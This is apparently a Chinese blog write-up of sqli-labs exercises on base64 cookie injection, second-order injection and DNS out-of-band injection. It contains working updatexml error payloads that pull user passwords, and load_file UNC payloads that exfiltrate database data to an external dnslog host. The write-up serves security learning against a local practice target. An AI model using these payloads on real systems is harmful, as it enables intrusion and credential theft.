SQL注入之二次、加解密、DNS等注入

1.sql的加解密:sqli-labs-21

为什么会对sql注入的加解密呢其实这个去抓个包就很好理解了

用admin admin登入进去抓包后得到这样的页面

发现了Cookie: uname=YWRtaW4%3D

然后尝试去解密:得到admin

这个就是其中的注入要求,加密进去然后脚本base64解密然后传进去,才能达到我们想要的效果

然后开始注入(先把源代码写出来然后再去加密然后再传进去):

也可以把 or '1'='1 换成 or' # 格式:

1.判断是否正常回显

admin' and 1=1 #

YWRtaW4nIGFuZCAxPTEgIw==

admin' and 1=2 #

YWRtaW4nIGFuZCAxPTIgIw==

2.报错查询看查数据库的版本和名字

admin' or updatexml(1,concat(0x7e,version(),0x7e),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSwweDdlKSwxKSBvciAnMSc9JzE=

admin' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgJzEnPScx

3.查表名

admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDEpIG9yICcxJz0nMQ==

4.查列数据:

admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwxKSBvciAnMSc9JzE=

5.得到最终数据

admin' or updatexml(1,concat(0x7e,(select group_concat(password) from users)),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx

admin' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx

得到最后的数据

2.sql的二次注入:sqli-labs-24

对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入

尝试去注册一个账户,密码用户名都是1

然后去修改密码,这个时候就可以尝试二次注入(二次注入的本质是 "信任了来自数据库的数据")(原理是因为代码前面是之前的密码,但是后面还有你最近修改的密码,我如果使用1'#,就可以实现对于之前相同用户的密码的修改,从而找到注入点)

开始尝试:

1.观察security的内容

2.注册一个用户名字为admin'#的用户,密码为123456

然后看数据库的反应

此时加入了admin'#,密码是123456的数据

3.修改admin'#的密码这个密码不是修改admin'#的数据而是修改admin的数据,原理在开头已经阐释,然后开始操作:

如果对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入,不行的话那就只有尝试盲注了

3.sql的dns注入:sqli-labs-9

sql的dns注入就是对盲注都没有回显的一种处理方式,这个也可以进行脚本跑(sqlmap利用插件)

DNS注入核心原理

核心思想: 利用数据库函数发起一个DNS解析请求,并将我们想窃取的数据作为域名的一部分。通过监控DNS查询日志,我们就能看到被窃取的数据。

攻击流程(以MySQL的 load_file() 函数为例):

  1. 构造Payload: 攻击者构造一个特殊的SQL查询。

  2. 触发查询: 存在漏洞的应用程序执行了这个查询。

  3. DNS解析: 数据库服务器尝试解析一个包含敏感数据的"域名"。

  4. 数据外带: 攻击者通过查看自己控制的DNS服务器的日志,直接看到被查询的"域名",从而获取数据。

然后对于这道题开始尝试

1.尝试了

http://127.0.0.1:8081/Less-9/?id=1

http://127.0.0.1:8081/Less-9/?id=1'

http://127.0.0.1:8081/Less-9/?id=1' and 1=1

http://127.0.0.1:8081/Less-9/?id=1' and 1=2

然后再尝试时间盲注

?id=1' and sleep(5)--+此时反应五秒发现也没有问题但是页面还是显示的是
Welcome Dhakkan
You are in...........

2.此时就是使用dnslog注入了:

对于dnslog的平台可以自行选择:

http://www.dnslog.cn/

https://dig.pm/

http://ceye.io/profile

http://eyes.sh/dns/等等

然后尝试:

我是用的是http://eyes.sh/dns/

1. 获取数据库名

复制代码
?id=1' and load_file(concat('\\\\',(select database()),'.lllxxy.eyes.sh\\abc'))--+
  • select database() 获取当前数据库名

  • 构造UNC路径:\\数据库名.lllxxy.eyes.sh\abc

  • DNS查询会包含数据库名

2. 获取表名

复制代码
?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • 从information_schema.tables获取表名

  • limit 0,1 获取第一个表

  • 可以修改limit参数遍历所有表

3. 获取列名

复制代码
?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • 从information_schema.columns获取列名

  • 指定表名users

  • 获取第一个列名

4. 获取数据

复制代码
?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • 从users表获取具体数据

  • 分别获取username和password字段

意义:

解决盲注不能回显数据---盲注比较繁琐

效率低的问题

相关推荐
wefg12 分钟前
【Redis】安装与启动
数据库·redis·缓存
大圣编蚕27 分钟前
常见的 Redis 面试题(高频整理)
数据库·redis·缓存
派小心.1 小时前
网站统计采样数据的误差核对
大数据·服务器·前端·数据库·人工智能·小程序·数据分析
龙腾AI白云1 小时前
数字孪生、具身智能、世界模型三者交叉
数据库·人工智能·机器学习·flask·pygame
SelectDB技术团队2 小时前
Apache Doris 基于 Lance 的向量检索深度解析
数据库·数据仓库·数据分析·湖仓一体·apache doris·lakehouse·多模湖仓
这个DBA有点耶2 小时前
从INDEX到JOIN_ORDER:MySQL 8.0 Hint语法体系与五类实战场景
数据库·mysql·架构
数字新视界2 小时前
机房动环监控助力智能管理
大数据·服务器·数据库·动环监控系统·动力与环境监控系统
梅菲塔亚2 小时前
博客_Redis入门到实战
数据库·redis·缓存
abcyuu2 小时前
用友 U8 Cloud 生产制造模块深度解析:从 BOM 建立到成本核算的技术实现
前端·数据库·制造
夜雪一千2 小时前
MySQL 的ID用什么数据类型更好?主键ID选型实战
数据库·mysql